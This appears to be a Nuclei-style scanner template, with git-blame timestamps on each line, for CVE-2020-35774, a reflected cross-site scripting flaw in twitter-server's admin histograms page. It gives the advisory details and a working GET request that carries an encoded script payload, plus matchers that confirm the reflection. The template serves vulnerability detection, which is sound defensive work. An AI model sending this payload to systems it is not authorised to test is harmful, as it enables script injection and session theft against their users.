2021-07-27 03:31:48 +00:00
id : CVE-2020-35774
info :
2022-04-07 13:53:15 +00:00
name : twitter-server Cross-Site Scripting
2021-07-27 03:31:48 +00:00
author : pikpikcu
severity : medium
description : |
2022-04-07 13:53:15 +00:00
twitter-server before 20.12.0 is vulnerable to cross-site scripting in some configurations. The vulnerability exists in the administration panel of twitter-server in the histograms component via server/handler/HistogramQueryHandler.scala.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement.
2023-09-06 12:22:36 +00:00
remediation : |
Apply the latest security patches or updates provided by Twitter to mitigate the XSS vulnerability.
2022-04-07 13:53:15 +00:00
reference :
- https://advisory.checkmarx.net/advisory/CX-2020-4287
- https://nvd.nist.gov/vuln/detail/CVE-2020-35774
2022-05-17 09:18:12 +00:00
- https://github.com/twitter/twitter-server/commit/e0aeb87e89a6e6c711214ee2de0dd9f6e5f9cb6c
- https://github.com/twitter/twitter-server/compare/twitter-server-20.10.0...twitter-server-20.12.0
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/cvemon
2021-09-10 11:26:40 +00:00
classification :
2022-07-20 07:40:35 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score : 5.4
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-35774
cwe-id : CWE-79
2024-04-08 11:34:33 +00:00
epss-score : 0.97225
epss-percentile : 0.99823
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:twitter:twitter-server:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : twitter
product : twitter-server
2024-01-14 09:21:50 +00:00
tags : cve2020,cve,xss,twitter-server,twitter
2021-07-27 03:31:48 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-27 03:31:48 +00:00
- method : GET
path :
2021-07-27 05:08:46 +00:00
- "{{BaseURL}}/admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true"
2021-07-27 03:31:48 +00:00
matchers-condition : and
matchers :
- type : word
2022-04-07 13:53:15 +00:00
part : body
2021-07-27 03:31:48 +00:00
words :
2021-07-27 05:08:46 +00:00
- '</script><script>alert(document.domain)</script>'
2021-07-27 03:31:48 +00:00
2021-07-27 05:10:55 +00:00
- type : word
part : header
words :
- text/html
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2024-03-25 11:57:16 +00:00
# digest: 490a00463044022059aae75a1ba54ffd46128637519495af796f1bf598fe025a5dc99ae09ecfae6102202090450bd8a9fbf4c8c2099543cfa0f00fd5e78700e8995ad0f87ddf92e69c62:922c64590222798bb761d5b6d8e72950